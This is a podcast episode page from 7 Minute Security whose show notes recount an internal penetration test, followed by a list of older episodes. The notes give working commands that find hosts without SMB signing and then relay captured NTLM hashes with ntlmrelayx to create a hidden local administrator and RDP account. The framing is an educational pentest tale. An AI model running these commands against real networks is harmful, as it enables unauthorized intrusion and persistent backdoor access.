7MS #372: Tales of Internal Pentest Pwnage - Part 5
7 Minute Security15 Heinä 2019

7MS #372: Tales of Internal Pentest Pwnage - Part 5

Today's episode is brought to you by ITProTV. It's never too late to start a new career in IT or move up the ladder, and ITProTV has you covered - from CompTIA and Cisco to EC-Council and VMWare. Get over 65 hours of IT training for free by visiting https://pro.tv/7minute

Today I share the (hopefully) exciting and fun conclusion to last week's episode about a tale of internal pentest pwnage! A few important notes from today's episode:

  • Need to find which hosts on your network have SMB signing disabled, and then get a nice clean list of IPs as a result? Try this:
opt/responder/tools/RunFinger.py -i THE.SUBNET.YOU-ARE.ATTACKING/24 -g > hosts.txt grep "Signing:'False'" hosts.txt | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' > targets.txt

Source: Pwning internal networks automagically

  • Ready to pass captured hashes from one host to another? Open responder.conf and turn SMB and HTTP to Off, then get Responder running in one window, and ntlmrelayx in another. Specifically, I like to use ntlmrelayx.py -tf targets.txt where targets.txt is the list of machines you found that are not using SMB signing. I also like to add a -c to run a string of my choice. Check out this fun evil little nugget:
net user /add ladmin1 s00p3rn4ughtyguy! /Y & net localgroup Administrators ladmin1 /add & net localgroup "Remote Desktop Users" ladmin1 /add

So the full command would be:

ntlmrelayx.py -tf targets.txt -c 'net user /add ladmin1 s00p3rn4ughtyguy! /Y & net localgroup Administrators ladmin1 /add & net localgroup "Remote Desktop Users" ladmin1 /add'

Check today's show notes at https://7ms.us for more information!

Jaksot(720)

7MS #303: Evaluating Endpoint Protection Solutions

7MS #303: Evaluating Endpoint Protection Solutions

I'm working on a fun project right now where I'm evaluating endpoint protection solutions for a client. They're faced with a choice of either refreshing endpoints to the latest gen of their current pr...

29 Maalis 201814min

7MS #302: Bunnies and Bloodhounds

7MS #302: Bunnies and Bloodhounds

I've had a fun week with a mixed bag of security related stuff happening, so I thought I'd throw it all in a big stew and cook it up for today's episode. Here are the highlights: Bash bunny preso I ha...

22 Maalis 201816min

7MS #301: CredDefense

7MS #301: CredDefense

Intro CredDefense is a freakin' sweet tool from the fine folks at Black Hills Information Security that does some really nifty things: Password filter Lets say you use the out-of-the-box password poli...

15 Maalis 201815min

7MS #300: Windows System Forensics 101 - Part 2

7MS #300: Windows System Forensics 101 - Part 2

In today's continuation of last week's episode I'm continuing a discussion on using free tools to triage Windows systems - be they infected or just acting suspicious. Specifically, those tools include...

9 Maalis 201816min

7MS #299: Windows System Forensics 101

7MS #299: Windows System Forensics 101

I had the privilege of creating a Windows System Forensics 101 course/presentation for a customer. The good/bad news is there is so much good information out there, it's hard to boil things down to ju...

28 Helmi 201810min

7MS #298: How to Succeed in Business Without Really Crying - Part 2

7MS #298: How to Succeed in Business Without Really Crying - Part 2

Last week I talked about how business has been going with the LLC. Today I answer some additional questions that I didn't have time to address: How I'm finding leads/projects to work on (TLDR: I'm N...

15 Helmi 201817min

7MS #297: How to Succeed in Business Without Really Crying

7MS #297: How to Succeed in Business Without Really Crying

Intro Here's some of the "juice" that has helped 7MS have a successful start: Support system Ok so I think if you're going to have a successful business, you need an awesome support system. Mine consi...

8 Helmi 201816min

7MS #296: WEFFLES - Windows Event Logging Forensic Logging Enhancement Services

7MS #296: WEFFLES - Windows Event Logging Forensic Logging Enhancement Services

WEFFLES are delicious! WEFFLES stands for Windows Event Logging Forensic Logging Enhancement Services and is Microsoft's cool (and free!) console for responding to incidents and hunting threats. I had...

1 Helmi 201814min

Suosittua kategoriassa Politiikka ja uutiset

uutiscast
aikalisa
politiikan-puskaradio
rss-ootsa-kuullut-tasta
ootsa-kuullut-tasta-2
rss-podme-livebox
tervo-halme
rss-pinnalla
aihe
rss-ulkopoditiikkaa
the-ulkopolitist
viisupodi
rss-vaalirankkurit-podcast
otetaan-yhdet
et-sa-noin-voi-sanoo-esittaa
rss-kaikki-uusiksi
rss-tasta-on-kyse-ivan-puopolo-verkkouutiset
rss-uusi-juttu-mediastartupin-tarina
rss-toisten-taskuilla
rss-girls-finish-f1rst